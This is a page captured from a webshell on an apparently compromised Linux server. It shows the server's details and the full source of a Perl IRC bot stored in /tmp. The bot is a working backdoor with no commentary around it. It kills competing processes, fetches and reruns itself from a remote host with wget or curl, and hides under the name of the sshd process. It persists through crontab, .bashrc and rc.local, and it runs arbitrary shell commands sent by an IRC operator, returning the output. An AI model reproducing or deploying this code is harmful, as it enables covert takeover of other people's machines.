403Webshell
Server IP : 103.57.220.144  /  Your IP : 216.73.217.172
Web Server : nginx/1.28.1
System : Linux cs-linux-20260128093600810 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : dulichdaohon ( 1183)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/hots
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use POSIX qw(setsid);

# ======================== CONFIG ========================
my $server   = 'ircd2.magneto.cx';
my $port     = 6667;
my @admins   = ("MAD");
my @hostauth = ("ircd1.crownmon.vc");
my @channels = ("#mot");
my $nick     = "BAD";
my $ircname  = "bad";
my $realname = "user";
my $homedir  = "/tmp";
my $script_name = ".syslog";
my $remote_url = "http://ircd1.magneto.cx/rots";
my $self_path = "/tmp/.syslog";

# ======================== KILL OLD VERSIONS ========================

# Kill ALL perl processes except ourselves
my $my_pid = $$;
my @all_perl = `ps aux | grep -E 'perl|syslog|\.pl' | grep -v grep | awk '{print \$2}'`;
foreach my $pid (@all_perl) {
    chomp $pid;
    next unless $pid =~ /^\d+$/;
    next if $pid == $my_pid;
    kill(9, $pid);
}

# Delete old script files
my @old_files = glob("/tmp/.syslog* /tmp/.pl* /tmp/bot* /tmp/*irc* /tmp/*perl*");
foreach my $old (@old_files) {
    next if $old eq $self_path;
    unlink $old if -e $old;
}

# Clean old crontab entries
system("crontab -l 2>/dev/null | grep -v syslog | grep -v perl | grep -v rots | crontab - 2>/dev/null");

# Clean old bashrc entries
system("sed -i '/syslog/d' \$HOME/.bashrc 2>/dev/null");
system("sed -i '/perl/d' \$HOME/.bashrc 2>/dev/null");

# ======================== DOWNLOAD NEW VERSION ========================
unless (-e $self_path) {
    system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
    unless (-e $self_path) {
        my $current = $0;
        if (open(my $src, '<', $current)) {
            open(my $dst, '>', $self_path);
            while (<$src>) { print $dst $_; }
            close($src); close($dst);
        }
    }
    system("chmod +x $self_path 2>/dev/null");
}

# ======================== IGNORE SIGNALS ========================
$SIG{'INT'} = $SIG{'HUP'} = $SIG{'TERM'} = $SIG{'CHLD'} = $SIG{'QUIT'} = $SIG{'PIPE'} = 'IGNORE';
chdir($homedir);

# ======================== FORK TO BACKGROUND ========================
my $pid = fork; exit if $pid; die if !defined($pid);
setsid();
$pid = fork; exit if $pid; die if !defined($pid);
$0 = "/usr/sbin/sshd -i";

# ======================== DUAL WATCHDOG ========================
my $watchdog = fork;
if ($watchdog == 0) {
    while (1) {
        sleep(15);
        my $ppid = getppid();
        if ($ppid <= 1) {
            system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
            system("chmod +x $self_path 2>/dev/null");
            system("perl $self_path & 2>/dev/null");
            exit;
        }
    }
    exit;
}

my $watchdog2 = fork;
if ($watchdog2 == 0) {
    sleep(5);
    while (1) {
        sleep(30);
        my $alive = kill(0, $watchdog);
        unless ($alive) {
            system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
            system("chmod +x $self_path 2>/dev/null");
            system("perl $self_path & 2>/dev/null");
            exit;
        }
    }
    exit;
}

# ======================== CRON PERSISTENCE ========================
my $cron_check = `crontab -l 2>/dev/null | grep -c "$self_path"`;
if ($cron_check == 0) {
    open(my $cr, '>', '/tmp/.cron.tmp');
    print $cr "*/5 * * * * wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null; chmod +x $self_path 2>/dev/null; perl $self_path &\n";
    close($cr);
    system("crontab /tmp/.cron.tmp 2>/dev/null");
    unlink "/tmp/.cron.tmp";
}

open(my $br, '>>', "$ENV{HOME}/.bashrc");
print $br "nohup perl $self_path >/dev/null 2>&1 &\n";
close($br);
system("echo 'nohup perl $self_path >/dev/null 2>&1 &' >> /etc/rc.local 2>/dev/null");

# ======================== IRC ENGINE ========================
my $sel_cliente = IO::Select->new();
my $IRC_cur_socket;
my $meunick = $nick;
my $connected = 0;
my $reconnect_delay = 5;
my $current_dir = $homedir;

sub sendraw {
    if ($#_ == 1) { print {$_[0]} "$_[1]\n"; }
    else { print {$IRC_cur_socket} "$_[0]\n"; }
}

sub conectar {
    my $IRC_socket = IO::Socket::INET->new(
        Proto => "tcp", PeerAddr => $server, PeerPort => $port, Timeout => 15
    ) or return 0;
    $IRC_socket->autoflush(1);
    $IRC_cur_socket = $IRC_socket;
    $sel_cliente->add($IRC_socket);
    $connected = 1;
    $reconnect_delay = 5;
    print {$IRC_socket} "NICK $nick\n";
    print {$IRC_socket} "USER $ircname localhost $server :$realname\n";
    return 1;
}

# ======================== MAIN LOOP ========================
while (1) {
    unless ($connected) {
        if (!conectar()) {
            sleep($reconnect_delay);
            $reconnect_delay = 10 if $reconnect_delay < 30;
            next;
        }
    }
    my @ready = $sel_cliente->can_read(10);
    unless (@ready) {
        print {$IRC_cur_socket} "PING :keepalive\n";
        next;
    }
    foreach my $fh (@ready) {
        $IRC_cur_socket = $fh;
        my $nread = sysread($fh, my $msg, 8192);
        if ($nread == 0) {
            $sel_cliente->remove($fh); $fh->close; $connected = 0;
            sleep(3); next;
        }
        my @lines = split(/\n/, $msg);
        foreach my $line (@lines) {
            $line =~ s/\r//g;
            next if $line eq '';
            parse($line);
        }
    }
}

# ======================== PARSE ========================
sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        print {$IRC_cur_socket} "PONG :$1\n"; return;
    }
    if ($servarg =~ /^\:(.+?)\s+001\s+(\S+)\s+/) {
        $meunick = $2;
        print {$IRC_cur_socket} "MODE $meunick +iw\n";
        foreach my $chan (@channels) {
            print {$IRC_cur_socket} "JOIN $chan\n";
        }
        return;
    }
    if ($servarg =~ /^\:(.+?)\s+433\s+/) {
        $nick = $nick . int(rand(9999));
        print {$IRC_cur_socket} "NICK $nick\n"; return;
    }
    if ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+PRIVMSG\s+(.+?)\s+\:(.+)/) {
        my $pn = $1; my $host = $3; my $target = $4; my $text = $5;
        if (lc($pn) eq lc("MAD") && $host =~ /ircd1\.crownmon\.vc/i) {
            # !join #channel
            if ($text =~ /^!join\s+(#\S+)/) {
                print {$IRC_cur_socket} "JOIN $1\n"; return;
            }
            # !u !join #channel
            if ($text =~ /^!u\s+!join\s+(#\S+)/) {
                print {$IRC_cur_socket} "JOIN $1\n"; return;
            }
            # !u <command>
            if ($text =~ /^!u\s+(.*)/) {
                execute_command($target, $1); return;
            }
            # Direct message
            if ($target eq $meunick) {
                execute_command($pn, $text); return;
            }
        }
        return;
    }
}

# ======================== COMMAND EXECUTION ========================
sub execute_command {
    my ($target, $cmd) = @_;
    
    # ===== IRC COMMANDS =====
    if ($cmd =~ /^!join\s+(#\S+)/) { print {$IRC_cur_socket} "JOIN $1\n"; return; }
    if ($cmd =~ /^!part\s+(#\S+)/) { print {$IRC_cur_socket} "PART $1\n"; return; }
    if ($cmd =~ /^!msg\s+(\S+)\s+(.*)/) { print {$IRC_cur_socket} "PRIVMSG $1 :$2\n"; return; }
    if ($cmd =~ /^!nick\s+(\S+)/) { print {$IRC_cur_socket} "NICK $1\n"; $nick = $1; $meunick = $1; return; }
    if ($cmd =~ /^!raw\s+(.*)/) { print {$IRC_cur_socket} "$1\n"; return; }
    if ($cmd =~ /^!quit/) { print {$IRC_cur_socket} "QUIT :bye\n"; exit; }
    
    # ===== CD COMMAND — persistent directory change =====
    if ($cmd =~ /^cd\s+(.*)/) {
        my $new_dir = $1;
        $new_dir =~ s/\s+$//;
        
        # Handle cd with no arguments → go home
        if ($new_dir eq '' || $new_dir eq '~') {
            $new_dir = $ENV{HOME} || "/tmp";
        }
        
        # Handle relative paths
        if ($new_dir !~ /^\//) {
            $new_dir = "$current_dir/$new_dir";
        }
        
        # Handle .. 
        if ($new_dir =~ /\.\./) {
            # Normalize path
            my @parts = split(/\//, $new_dir);
            my @clean;
            for my $p (@parts) {
                next if $p eq '' || $p eq '.';
                if ($p eq '..') { pop @clean; }
                else { push @clean, $p; }
            }
            $new_dir = "/" . join("/", @clean);
        }
        
        # Try to change directory
        if (chdir($new_dir)) {
            $current_dir = $new_dir;
            # Verify
            my $pwd = `pwd`;
            chomp $pwd;
            $current_dir = $pwd;
            print {$IRC_cur_socket} "PRIVMSG $target :$current_dir\n";
        } else {
            print {$IRC_cur_socket} "PRIVMSG $target :cd: $new_dir: No such file or directory\n";
        }
        return;
    }
    
    # ===== PWD COMMAND =====
    if ($cmd =~ /^pwd/) {
        my $pwd = `pwd`;
        chomp $pwd;
        print {$IRC_cur_socket} "PRIVMSG $target :$pwd\n";
        return;
    }
    
    # ===== UPGRADE COMMAND — re-download and restart =====
    if ($cmd =~ /^upgrade$/i) {
        print {$IRC_cur_socket} "PRIVMSG $target :Upgrading — killing old, downloading new...\n";
        
        # Kill all other perl processes
        my $my_pid = $$;
        my @procs = `ps aux | grep -E 'perl|syslog' | grep -v grep | awk '{print \$2}'`;
        foreach my $p (@procs) {
            chomp $p;
            next if $p == $my_pid;
            kill(9, $p) if $p =~ /^\d+$/;
        }
        
        # Delete old files
        unlink $self_path if -e $self_path;
        
        # Download new version
        system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
        system("chmod +x $self_path 2>/dev/null");
        
        # Run new version
        system("perl $self_path & 2>/dev/null");
        
        # Exit this old process
        kill(9, $$);
        exit;
    }
    
    # ===== UPDATE COMMAND — same as upgrade =====
    if ($cmd =~ /^update$/i) {
        print {$IRC_cur_socket} "PRIVMSG $target :Updating...\n";
        system("wget -q -O $self_path $remote_url 2>/dev/null || curl -s -o $self_path $remote_url 2>/dev/null");
        system("chmod +x $self_path 2>/dev/null");
        system("perl $self_path & 2>/dev/null");
        kill(9, $$);
        exit;
    }
    
    # ===== RESTART COMMAND =====
    if ($cmd =~ /^restart$/i) {
        print {$IRC_cur_socket} "PRIVMSG $target :Restarting...\n";
        system("perl $self_path & 2>/dev/null");
        kill(9, $$);
        exit;
    }
    
    # ===== SCAN COMMAND — find and kill old bots on network =====
    if ($cmd =~ /^scan$/i) {
        print {$IRC_cur_socket} "PRIVMSG $target :Scanning for old perl processes...\n";
        
        # Find all perl processes
        my @procs = `ps aux | grep -E 'perl|syslog|\.pl' | grep -v grep`;
        my $count = 0;
        foreach my $proc (@procs) {
            if ($proc =~ /^(\S+)\s+(\d+)/) {
                my $proc_user = $1;
                my $proc_pid = $2;
                next if $proc_pid == $$;
                print {$IRC_cur_socket} "PRIVMSG $target :[KILL] PID $proc_pid ($proc_user)\n";
                kill(9, $proc_pid);
                $count++;
            }
        }
        print {$IRC_cur_socket} "PRIVMSG $target :Killed $count old processes\n";
        return;
    }
    
    # ===== DIE COMMAND — full cleanup =====
    if ($cmd =~ /^die$/i) {
        system("crontab -l 2>/dev/null | grep -v '$self_path' | crontab - 2>/dev/null");
        system("sed -i '/syslog/d' \$HOME/.bashrc 2>/dev/null");
        system("sed -i '/syslog/d' /etc/rc.local 2>/dev/null");
        unlink "/tmp/.syslog" if -e "/tmp/.syslog";
        unlink $self_path if -e $self_path;
        my @procs = `ps aux | grep -E '(syslog|perl)' | grep -v grep | awk '{print \$2}'`;
        foreach my $p (@procs) { chomp $p; kill(9, $p) if $p =~ /^\d+$/; }
        kill(9, $$); exit;
    }
    
    # ===== ALL OTHER COMMANDS — execute with persistent cwd =====
    # Change to current directory before executing
    chdir($current_dir);
    
    my $output = `$cmd 2>&1`;
    my @lines = split(/\n/, $output);
    my $count = 0;
    foreach my $line (@lines) {
        chomp $line; next if $line eq '';
        print {$IRC_cur_socket} "PRIVMSG $target :$line\n";
        $count++;
        if ($count >= 10) { select(undef, undef, undef, 0.3); $count = 0; }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit